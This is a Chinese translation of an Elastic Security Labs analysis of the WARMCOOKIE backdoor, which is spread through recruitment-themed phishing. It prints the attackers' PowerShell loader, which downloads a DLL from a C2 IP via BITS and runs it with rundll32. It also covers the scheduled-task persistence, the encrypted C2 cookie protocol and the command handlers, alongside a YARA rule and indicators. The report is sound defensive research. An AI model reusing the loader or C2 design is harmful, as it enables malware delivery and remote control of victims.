原文:https://www.elastic.co/security-labs/dipping-into-danger
WARMCOOKIE 一览
Elastic Security Labs 在四月下旬观察到了一波针对环境的电子邮件营销活动,这些营销活动部署了一个基于通过 HTTP cookie 参数发送的数据的新后门,我们称之为 WARMCOOKIE。在初步处理过程中,我们的团队发现代码与 eSentire 之前公开报告的样本有重叠。帖子中讨论的未命名样本(resident2.exe
)似乎是 WARMCOOKIE 的旧版本或偏离版本。虽然某些功能类似,如实现字符串混淆,但 WARMCOOKIE 包含不同的功能。我们的团队每天都能看到这种威胁通过针对个人的招聘和工作主题传播。
WARMCOOKIE 似乎是一个初始后门工具,用于侦查受害者网络并部署其他有效载荷。每个样本都使用硬编码的 C2 IP 地址和 RC4 密钥进行编译。
这篇文章将回顾一次观察到的活动和这款新恶意软件的功能。虽然该恶意软件的功能有限,但我们不能掉以轻心,因为它正在全球范围内被积极使用并对组织造成影响。
主要收获
- REF6127 代表以招聘为主题的网络钓鱼活动,旨在部署新的 Windows 后门: WARMCOOKIE
- WARMCOOKIE 是一种新发现的后门,用于对机器进行指纹识别、捕获受害者机器的屏幕截图并部署额外的有效载荷
- 威胁行为者每周都在创建新的域和基础设施,以支持这些活动
- 本研究包括一个 IDAPython 脚本,用于解密来自 WARMCOOKIE 的字符串
- Elastic Security 为整个 WARMCOOKIE 感染链提供预防和可视功能
REF6127 活动概述
自 2024 年 4 月下旬以来,我们的团队发现有新的网络钓鱼活动利用与招聘公司相关的诱饵。这些电子邮件以个人姓名和当前雇主为目标,诱使受害者通过点击内部系统链接查看职位描述来寻找新的工作机会。以下是从以前的公开源报告中收集的网络钓鱼电子邮件示例。
一旦点击,用户就会进入一个看起来像专门针对他们的合法页面的登陆页面。页面会提示用户通过验证码挑战下载文档。这些登陆页面与谷歌云安全团队以前在讨论 URSNIF 的新变种时记录的活动相似。以下是从以前的开源报告中收集的登陆页面示例。
一旦验证码被破解,就会从页面上下载一个混淆的 JavaScript 文件。我们的示例命名为 Update_23_04_2024_5689382.js
;不过,其他示例使用了不同但类似的命名结构。
该混淆脚本运行 PowerShell,启动加载 WARMCOOKIE 的第一个任务。
该PowerShell脚本利用Background Intelligent Transfer Service (BITS)下载WARMCOOKIE,并使用Start export运行DLL。
start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' +
[System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source
'http://80.66.88[.]146/data/5fb6dd81093a0d6812c17b12f139ce35'
-Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d +
',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job
REF6127基础设施概述
通过利用urlscan.io和VirusTotal等工具,我们观察到攻击者不断在IP地址45.9.74[.]135
上快速生成新的登陆页面。该行为者针对不同的招聘公司,结合与求职行业相关的关键字进行攻击。
在访问每个登陆页面之前,敌方会利用受损的基础设施托管初始网络钓鱼 URL,从而重定向不同的登陆页面,以此拉开距离。
攻击者会在每次活动期间生成新的域名,而每次活动结束后,其声誉才会追上每个域名。目前,可以看到攻击者正在转向新的域名,而这些域名的声誉尚未受到太大影响。
WARMCOOKIE恶意软件分析
WARMCOOKIE是一个Windows DLL,威胁参与者在两个不同的阶段使用它。第一阶段发生在PowerShell下载之后,使用Start
导出执行WARMCOOKIE。
第一阶段
第一阶段会从一个随机命名的临时目录(如“wid4ta3v.3gm”)中复制下载的DLL文件,并将副本放置在“C:\ProgramData\RtlUpd\RtlUpd.dll”中。
完成复制后,恶意软件会利用COM与Windows任务计划程序一起设置持久化机制,以配置DLL按照以下参数运行。
"C:\WINDOWS\system32\rundll32.exe" "C:\ProgramData\RtlUpd\RtlUpd.dll",Start /p
使用这种设计选择,WARMCOOKIE将使用任务调度器引擎的系统特权运行。以下是来自Hatching Triage的截图,显示了这两个阶段:
持久性
感染链的一个关键部分来自计划任务,它是在感染开始时设置的。任务名称(RtlUpd
)计划每天每10分钟运行一次。
第二阶段
第二阶段是DLL与命令行(Start /p)结合的阶段,它包含了WARMCOOKIE的核心功能。恶意软件首先从PowerShell下载的临时目录中查找DLL。
混淆视听
WARMCOOKIE使用自定义字符串解密算法保护其字符串。中每个加密字符串的前四个字节。rdata
节表示大小,接下来的四个字节表示RC4键,其余字节表示字符串。
下面是 CyberChef 使用上面截图中的字节制作的脚本:
一个有趣的现象是,恶意软件开发者并不总是在加密字符串之间旋转 RC4 密钥。
动态API加载
为了防止静态分析识别其核心功能,WARMCOOKIE使用动态API加载。没有API散列/解析,目标dll和敏感字符串使用加密保护。
如上图所示,开发人员展示了OpSec的一些考虑:任何解密的字符串在使用后都会立即从内存中删除,从而可能避免内存签名扫描。
反调试
该恶意软件包含一些常用于针对沙盒的反分析检查。这些检查基于检查当前 CPU 处理器数量和物理/虚拟内存值的逻辑。
条件如下:
- 如果处理器数量大于或等于 4,且调用
GlobalMemoryStatusEx
计算出的值大于或等于 0xF00,恶意软件将继续执行 - 如果处理器数量大于或等于 8,恶意软件将继续执行
- 如果
GlobalMemoryStatusEx
调用的计算值大于0x2000
,恶意软件将继续执行
变种
每个 WARMCOOKIE 样本都硬编码了一个类似 GUID 的字符串作为变种。下面是我们观察到的一些示例:
f92e6f3c-9cc3-4be0-966c-1be421e69140
91f785f4-2fa4-4c85-954d-b96768ca76f2
在执行主功能之前,WARMCOOKIE 会使用 OR 语句来验证命令行参数(/p
返回true
),或检查是否需要创建计划任务持久性。
执行
在后门程序发出第一个向外网络请求之前,它会捕获以下用于指纹识别和识别受害者机器的值。
- Volume serial number
- DNS domain of the victim machine
- Computer name
- Username
这是一个用于识别与eSentire报告中的恶意软件相似之处的标准。
WARMCOOKIE C2 服务器很可能利用 CRC32 校验和函数来验证从受害者机器发送的内容。WARMCOOKIE 本身包含一个校验和函数,该函数接收输入字符串、长度和 CRC32 函数的初始种子值。在函数开始时,种子值被否定,因此在不同时间,校验和函数会以不同的种子值被调用。我们相信,开发者添加这一步是为了让研究人员更难分析和浪费时间。
以下三个校验和计算用RC4加密,通过HTTP cookie参数发送:
- CRC32(c2_message_data)
- CRC32(mutex) ^ volume serial number
- CRC32(username) ^ CRC32(computer name)
下面是Python的实现,附录中有一个使用示例:
def calculate_checksum(str_input, str_len, i):
if i == 0:
i = 0xFFFFFFFF
if i == -1:
i = 0
for idx in range(0, str_len, 2):
v6 = str_input[idx] | (str_input[idx + 1] << 8)
for _ in range(16):
if (v6 ^ i) & 1:
i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
else:
i = (i >> 1) & 0xFFFFFFFF
v6 >>= 1
return ~i & 0xFFFFFFFF
通信
WARMCOOKIE 样本通过 HTTP 与硬编码 IP 地址通信。该系列使用 RC4 和 Base64 组合来保护其网络流量。每个样本中都嵌入了 RC4 密钥。我们发现多个样本中使用了相同的密钥。本次分析中的密钥是24de21a8dc08434c
恶意软件使用自定义结构向 C2 服务器发送初始请求,其中包括前面所述的校验和值以及用于跟踪变量数据偏移和大小的几个字段。
这些值通过 HTTP cookie 参数发送,采用以下自定义结构:
enum request_type
{
REGISTRATION = 1,
COMMAND = 2
};
struct os_info
{
int major_version;
int minor_version;
int build_number;
int version_calc;
};
struct initial_request
{
int checksum_c2_message_data;
int checksum_volume_mutex;
int checksum_computer_name_username;
request_type request_type;
os_info os_ver;
int offset_to_dns_domain;
int size_base64_dns_domain;
int offset_to_base64_computer_name;
int size_base64_computer_name;
int offset_to_base64_username;
int size_base64_username;
char base64_dns_domain[]; // Variable-length array
char base64_username[]; // Variable-length array
char base64_computer_name[]; // Variable-length array
};
向 C2 服务器发出的第一个请求是通过使用用户代理的 GET 请求发送的: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705.X)
。
GET http://185.49.69[.]41/ HTTP/1.1
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
Host: 185.49.69[.]41
Connection: Keep-Alive
Pragma: no-cache
下面是第一个请求中解密的 HTTP cookie 参数的 CyberChef 配方,后面是各字段的图例:
WARMCOOKIE 通过使用前面介绍的校验和函数生成哈希值,插入了一些完整性检查。例如,解密后的 HTTP cookie 参数中从第 4 个字节到末尾的数据会被散列,并放在开头(偏移量 0)。使用上述示例,校验和值为0xe51387e9
在恶意软件接收指令之前,完整性检查还用于验证 C2 服务器的传入响应。在这种情况下,C2 服务器会生成发送到受害者机器的数据的预期校验和。这位于请求的前四个字节中。
下面演示了这种完整性检查,其中请求数据的哈希值为0x50d26cc3
。
如果校验和匹配,WARMCOOKIE 将读取请求第 8 字节偏移量处的命令 ID,然后转到下一个命令处理程序。
Bot 功能
WARMCOOKIE 为威胁行为者提供了 7 个命令处理程序,用于检索更多受害者信息、记录屏幕截图、启动更多有效载荷等。所提供的功能相对简单,可让需要轻量级后门的威胁组织监控受害者,并进一步部署破坏性有效载荷(如勒索软件)。
命令 ID | 说明 |
---|---|
1 | 获取受害者详细信息 |
2 | 记录受害者机器的屏幕截图 |
3 | 通过卸载注册表路径检索已安装的程序 |
4 | 命令行执行(cmd.exe /c) |
5 | 将文件写入受害者计算机 |
6 | 从受害计算机读取文件 |
10 | 刪除排程任务持久化 |
检索受害者详细信息 - 命令 ID (1)
该处理程序通过收集 IP 地址和 CPU 信息对受害机器进行指纹识别。有趣的是,该处理程序所需的导入是静态导入的。
恶意软件向 C2 服务器发送数据时使用 HTTP POST
请求。HTTP POST 请求数据通过 RC4 加密,并以原始格式通过网络发送。此外,IP 地址和 CPU 信息都经过 Base64 编码。
POST http://185.49.69[.]41/ HTTP/1.1
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
Host: 185.49.69.41
Content-Length: 136
Connection: Keep-Alive
Pragma: no-cache
qI:f*m yڂ z ? ! ,!w k i A K k8 .(M ޣ> ދ u[ôz 0 -U~ 9 z G( *X o_ _ * Y, q glTs XI8b\)W W"
解密 HTTP POST 请求数据后,会呈现出与之前类似的结构,数据前端会加载校验和值、偏移量以及处理程序所针对的相关信息的大小。在本例中,Base64 编码数据是 IP 地址和 CPU 信息。
加密值 | 解密值 |
---|---|
MTkyLjE2OC4xODIuMTMx | 192.168.182.131 |
QU1EIFJ5emVuIDcgNzgwMFgzRCA4LUNvcmUgUHJvY2Vzc29yICAgICAgICAgICA= | AMD Ryzen 7 7800X3D 8-Core Processor |
截图捕捉 - 命令 ID (2)
从受害者机器截图的能力提供了广泛的恶意选项,如窃取屏幕上显示的敏感信息或主动监控受害者的机器。该处理程序动态加载用于图形和绘图操作的 Windows DLL,如GDI32.DLL
和GDIPLUS.DLL
,然后使用各种 API,如BitBlt
、CreateCompatibleBitmap
和GetSystemMetrics
来生成屏幕截图。
收集到的截图使用 RC4 加密,并通过 POST 请求与校验和数据一起发送。
通过查找文件头 JPEG 文件交换格式 (JFIF)
,我们可以刻出图像,并根据对该处理程序的请求找到沙盒机器的高质量图像(如下图)。
检索已安装的程序 - 命令 ID (3)
该处理程序通过注册表键值枚举受害计算机上安装的程序:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
程序的名称、版本和安装日期会被 Base64 编码,并与校验和数据、偏移量和大小一起放入管道分隔格式中。
下面是其中一个注册表项的示例:
加密值 | 解密值 |
---|---|
Ny1aaXAgMTguMDEgKHg2NCk= | 7-Zip 18.01 (x64) |
命令行执行 - 命令 ID (4)
WARMCOOKIE 使用此处理程序对受害者机器提供后门访问。操作员提供的参数会被执行到 "cmd.exe /c",而不会出现控制台窗口。
在下面的示例中,参数为 whoami
:
该函数读取所提供命令的输出,并将其存储为 Base64 格式,然后发送回 C2 服务器。下面是该处理程序的解密数据示例:
加密值 | 解密值 |
---|---|
ZGVza3RvcC0yYzNpcWhvXHJlbQ0K | desktop-2c3iqho\rem |
写入文件 - 命令 ID (5)
WARMCOOKIE 可以在受害者机器上投放文件;威胁行为者提供文件路径和文件数据。
作为测试,我们可以在一个目录中写入一个文件,其中包含一些数据,然后在下一个处理程序中读取这些数据。
根据文件写入结果,WARMCOOKIE 将发送带有以下 Base64 编码值之一的 POST 请求:
OK (See 'Files' tab)
ERROR: Cannot read file
读取文件 - 命令 ID (6)
该处理程序可从感染 WARMCOOKIE 的机器上读取文件内容。威胁行为者需要提供文件路径作为参数。
根据文件读取结果,WARMCOOKIE 将发送一个 POST 请求,其中包含以下 Base64 编码值之一和文件内容:
OK (See 'Files' tab)
ERROR: Cannot read file
根据前面围绕文件
选项卡的措辞,WARMCOOKIE 操作符可以使用 GUI 元素。
移除持久性 - 命令 ID (10)
此处理程序将删除先前配置的名为 RtlUpd
的计划任务。通过利用 COM,它将调用 mstask.dll
中的 DeleteFileW
来删除任务。
IDA 字符串解密工具
Elastic Security Labs 正在发布用于解密 WARMCOOKIE 字符串的 IDAPython 脚本。解密后的字符串将放在 IDA Pro 反编译器中,帮助分析人员识别关键功能。字符串解密和 IDA 注释工具可在 此处 下载。
结论
WARMCOOKIE 是一种新发现的后门程序,它正日益流行并被用于针对全球用户的活动中。我们的团队认为这种恶意软件是一种可怕的威胁,它能够访问目标环境并向受害者推送其他类型的恶意软件。虽然恶意软件开发方面还有改进的余地,但我们相信这些小问题会随着时间的推移得到解决。Elastic Security Labs 将继续监控这一威胁,并建议业界也这样做。
WARMCOOKIE 和 MITRE ATT&CK
Elastic 使用 MITRE ATT&CK 框架来记录高级持续性威胁针对企业网络使用的常见战术、技术和程序。
策略
战术是技术或子技术的原因。这是对手的战术目标:采取某种行动的原因。
技术
技术代表了对手如何通过执行某种行动来实现战术目标。
预防和检测 WARMCOOKIE
预防
- 可疑的 PowerShell 下载
- 异常进程创建计划任务
- 通过 Windows 脚本执行可疑的 PowerShell
- RunDLL32/Regsvr32 加载通过 BITS 下载的 DLL
- 带有异常参数的 RunDLL32
- Windows.Trojan.WarmCookie
检测/YARA
Elastic Security 创建了 YARA 规则来识别这种活动。以下是识别 WARMCOOKIE的 YARA 规则:
rule Windows_Trojan_WarmCookie_7d32fa90 {
meta:
author = "Elastic Security"
creation_date = "2024-04-29"
last_modified = "2024-05-08"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.WarmCookie"
license = "Elastic License v2"
strings:
$seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }
$seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }
$seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }
$seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }
$plain_str1 = "release.dll" ascii fullword
$plain_str2 = "\"Main Invoked.\"" ascii fullword
$plain_str3 = "\"Main Returned.\"" ascii fullword
$decrypt_str1 = "ERROR: Cannot write file" wide fullword
$decrypt_str2 = "OK (No output data)" wide fullword
$decrypt_str3 = "OK (See 'Files' tab)" wide fullword
$decrypt_str4 = "cmd.exe /c %ls" wide fullword
$decrypt_str5 = "Cookie:" wide fullword
$decrypt_str6 = "%ls\\*.*" wide fullword
condition:
(3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)
}
意见
所有数据的 ECS 和 STIX 格式均可下载。
本研究讨论了以下内容。
数据 | 类型 | 名称 | 参考 |
---|---|---|---|
ccde1ded028948f5cd3277d2d4af6b22fa33f53abde84ea2aa01f1872fad1d13 |
SHA-256 | RtlUpd.dll | WARMCOOKIE |
omeindia[.]com |
domain | Phishing link | |
assets.work-for[.]top |
domain | Landing page | |
45.9.74[.]135 |
ipv4-addr | Landing page | |
80.66.88[.]146 |
ipv4-addr | WARMCOOKIE C2 server | |
185.49.69[.]41 |
ipv4-addr | WARMCOOKIE C2 server |
参考资料
在上述研究中,我们参考了以下资料:
- https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
- https://x.com/Cryptolaemus1/status/1785423804577034362
附录
校验示例
def calculate_checksum(str_input, str_len, i):
if i == 0:
i = 0xFFFFFFFF
if i == -1:
i = 0
for idx in range(0, str_len, 2):
v6 = str_input[idx] | (str_input[idx + 1] << 8)
for _ in range(16):
if (v6 ^ i) & 1:
i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
else:
i = (i >> 1) & 0xFFFFFFFF
v6 >>= 1
return ~i & 0xFFFFFFFF
serial_volume = 0x0A2C9AD2F
mutex = "f92e6f3c-9cc3-4be0-966c-1be421e69140".encode("utf-16le")
mutex_result = calculate_checksum(mutex, len(mutex), -1)
username = "REM\x00".encode("utf-16le")
username_result = calculate_checksum(username, len(username), -1)
computer_name = "DESKTOP-2C3IQHO".encode("utf-16le")
computer_name_result = calculate_checksum(computer_name, len(computer_name), -1)
print(f"Mutex: {hex(mutex_result)}")
print(f"Username: {hex(username_result)}")
print(f"Computer Name: {hex(computer_name_result)}")
print(f"#1 Checksum: {hex(serial_volume ^ mutex_result)}")
print(f"#2 Checksum: {hex(username_result ^ computer_name_result)}")
-
-
-
-